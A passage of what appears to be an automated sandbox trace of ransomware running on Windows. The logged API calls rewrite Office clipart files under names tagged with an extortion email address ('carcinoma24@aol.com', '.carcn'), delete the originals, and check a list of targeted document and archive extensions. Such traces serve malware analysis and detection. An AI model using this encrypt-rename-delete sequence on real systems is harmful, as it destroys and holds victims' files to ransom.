SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.970] SetEndOfFile (hFile=0x550) returned 1 [0284.974] CloseHandle (hObject=0x550) returned 1 [0284.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0284.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0284.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0284.975] lstrlenW (lpString=".doc") returned 4 [0284.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.975] lstrlenW (lpString=".docx") returned 5 [0284.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.975] lstrlenW (lpString=".pdf") returned 4 [0284.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.975] lstrlenW (lpString=".xls") returned 4 [0284.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.976] lstrlenW (lpString=".xlsx") returned 5 [0284.976] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.976] lstrlenW (lpString=".ppt") returned 4 [0284.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0284.976] lstrlenW (lpString=".zip") returned 4 [0284.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.976] lstrlenW (lpString=".rar") returned 4 [0284.976] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.976] lstrlenW (lpString=".bz2") returned 4 [0284.976] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.976] lstrlenW (lpString=".7z") returned 3 [0284.976] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0284.976] lstrlenW (lpString=".dbf") returned 4 [0284.976] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0284.976] lstrlenW (lpString=".1cd") returned 4 [0284.976] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0284.976] lstrlenW (lpString=".jpg") returned 4 [0284.976] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.977] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=1568) returned 1 [0284.977] CloseHandle (hObject=0x550) returned 1 [0284.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x220 [0284.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0284.978] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.978] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0284.979] GetLastError () returned 0x0 [0284.979] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x620, lpOverlapped=0x0) returned 1 [0285.008] WriteFile (in: hFile=0x538, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x630, lpOverlapped=0x0) returned 1 [0285.009] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.009] WriteFile (in: hFile=0x538, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.009] SetEndOfFile (hFile=0x538) returned 1 [0285.009] CloseHandle (hObject=0x538) returned 1 [0285.010] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.010] SetEndOfFile (hFile=0x550) returned 1 [0285.016] CloseHandle (hObject=0x550) returned 1 [0285.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00636_.wmf")) returned 1 [0285.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0285.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0285.018] lstrlenW (lpString=".doc") returned 4 [0285.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.018] lstrlenW (lpString=".docx") returned 5 [0285.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.018] lstrlenW (lpString=".pdf") returned 4 [0285.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.018] lstrlenW (lpString=".xls") returned 4 [0285.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.018] lstrlenW (lpString=".xlsx") returned 5 [0285.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.018] lstrlenW (lpString=".ppt") returned 4 [0285.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0285.018] lstrlenW (lpString=".zip") returned 4 [0285.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.018] lstrlenW (lpString=".rar") returned 4 [0285.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.019] lstrlenW (lpString=".bz2") returned 4 [0285.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.019] lstrlenW (lpString=".7z") returned 3 [0285.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0285.019] lstrlenW (lpString=".dbf") returned 4 [0285.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0285.019] lstrlenW (lpString=".1cd") returned 4 [0285.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00636_.WMF") returned 68 [0285.019] lstrlenW (lpString=".jpg") returned 4 [0285.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.020] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=11490) returned 1 [0285.020] CloseHandle (hObject=0x550) returned 1 [0285.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220 [0285.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0285.022] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.022] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0285.023] GetLastError () returned 0x0 [0285.023] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x2ce2, lpOverlapped=0x0) returned 1 [0285.038] WriteFile (in: hFile=0x41c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0285.039] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.039] WriteFile (in: hFile=0x41c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.039] SetEndOfFile (hFile=0x41c) returned 1 [0285.039] CloseHandle (hObject=0x41c) returned 1 [0285.040] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.040] SetEndOfFile (hFile=0x550) returned 1 [0285.043] CloseHandle (hObject=0x550) returned 1 [0285.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0285.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0285.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0285.045] lstrlenW (lpString=".doc") returned 4 [0285.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.045] lstrlenW (lpString=".docx") returned 5 [0285.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.045] lstrlenW (lpString=".pdf") returned 4 [0285.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.045] lstrlenW (lpString=".xls") returned 4 [0285.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.045] lstrlenW (lpString=".xlsx") returned 5 [0285.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.045] lstrlenW (lpString=".ppt") returned 4 [0285.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0285.045] lstrlenW (lpString=".zip") returned 4 [0285.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.045] lstrlenW (lpString=".rar") returned 4 [0285.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.045] lstrlenW (lpString=".bz2") returned 4 [0285.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.045] lstrlenW (lpString=".7z") returned 3 [0285.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0285.046] lstrlenW (lpString=".dbf") returned 4 [0285.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0285.046] lstrlenW (lpString=".1cd") returned 4 [0285.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0285.046] lstrlenW (lpString=".jpg") returned 4 [0285.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.046] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=9300) returned 1 [0285.047] CloseHandle (hObject=0x550) returned 1 [0285.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x220 [0285.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0285.228] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.228] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0285.349] GetLastError () returned 0x0 [0285.349] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x2454, lpOverlapped=0x0) returned 1 [0285.351] WriteFile (in: hFile=0x53c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x2460, lpOverlapped=0x0) returned 1 [0285.352] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.352] WriteFile (in: hFile=0x53c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.352] SetEndOfFile (hFile=0x53c) returned 1 [0285.353] CloseHandle (hObject=0x53c) returned 1 [0285.353] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.353] SetEndOfFile (hFile=0x550) returned 1 [0285.355] CloseHandle (hObject=0x550) returned 1 [0285.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0285.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0285.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0285.359] lstrlenW (lpString=".doc") returned 4 [0285.359] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.359] lstrlenW (lpString=".docx") returned 5 [0285.359] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.359] lstrlenW (lpString=".pdf") returned 4 [0285.359] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.359] lstrlenW (lpString=".xls") returned 4 [0285.359] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.359] lstrlenW (lpString=".xlsx") returned 5 [0285.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.359] lstrlenW (lpString=".ppt") returned 4 [0285.359] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0285.359] lstrlenW (lpString=".zip") returned 4 [0285.359] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.359] lstrlenW (lpString=".rar") returned 4 [0285.359] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.359] lstrlenW (lpString=".bz2") returned 4 [0285.359] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.359] lstrlenW (lpString=".7z") returned 3 [0285.359] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0285.359] lstrlenW (lpString=".dbf") returned 4 [0285.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0285.360] lstrlenW (lpString=".1cd") returned 4 [0285.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0285.360] lstrlenW (lpString=".jpg") returned 4 [0285.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0285.361] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=7084) returned 1 [0285.361] CloseHandle (hObject=0x550) returned 1 [0285.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220 [0285.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0285.362] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.362] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0285.363] GetLastError () returned 0x0 [0285.363] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x1bac, lpOverlapped=0x0) returned 1 [0285.423] WriteFile (in: hFile=0x53c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0285.424] ReadFile (in: hFile=0x550, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.424] WriteFile (in: hFile=0x53c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.424] SetEndOfFile (hFile=0x53c) returned 1 [0285.425] CloseHandle (hObject=0x53c) returned 1 [0285.425] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.425] SetEndOfFile (hFile=0x550) returned 1 [0285.428] CloseHandle (hObject=0x550) returned 1 [0285.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0285.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0285.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0285.429] lstrlenW (lpString=".doc") returned 4 [0285.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.429] lstrlenW (lpString=".docx") returned 5 [0285.429] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.429] lstrlenW (lpString=".pdf") returned 4 [0285.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.429] lstrlenW (lpString=".xls") returned 4 [0285.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.429] lstrlenW (lpString=".xlsx") returned 5 [0285.429] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.430] lstrlenW (lpString=".ppt") returned 4 [0285.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0285.430] lstrlenW (lpString=".zip") returned 4 [0285.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.430] lstrlenW (lpString=".rar") returned 4 [0285.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.430] lstrlenW (lpString=".bz2") returned 4 [0285.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.430] lstrlenW (lpString=".7z") returned 3 [0285.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.430] lstrlenW (lpString="C:\\Program Files\\Microsoft 